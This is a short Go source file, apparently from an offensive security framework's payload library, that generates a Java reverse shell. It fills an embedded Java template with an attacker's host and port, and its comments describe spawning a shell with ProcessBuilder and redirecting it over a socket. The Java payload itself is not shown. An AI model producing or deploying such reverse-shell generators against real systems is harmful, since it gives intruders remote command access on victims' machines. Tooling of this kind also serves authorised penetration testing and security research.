package reverse

import (
	_ "embed"
	"fmt"
	"strings"
)

var (
	//go:embed java/process_builder.java
	JavaProcessBuilderInteractive string
	JavaDefault                   = JavaProcessBuilderInteractive
)

// Defaults to the UnflattenedJava payload.
func (java *JavaPayload) Default(lhost string, lport int) string {
	return strings.Trim(java.UnflattenedJava(lhost, lport), "\r\n")
}

// An unflattened Java reverse shell. This is the "classic" Java reverse shell that spins out
// the shell using ProcessBuilder and then redirects input/output to/from the sockets.
func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string {
	return strings.Trim(fmt.Sprintf(JavaProcessBuilderInteractive, lhost, lport), "\r\n")
}
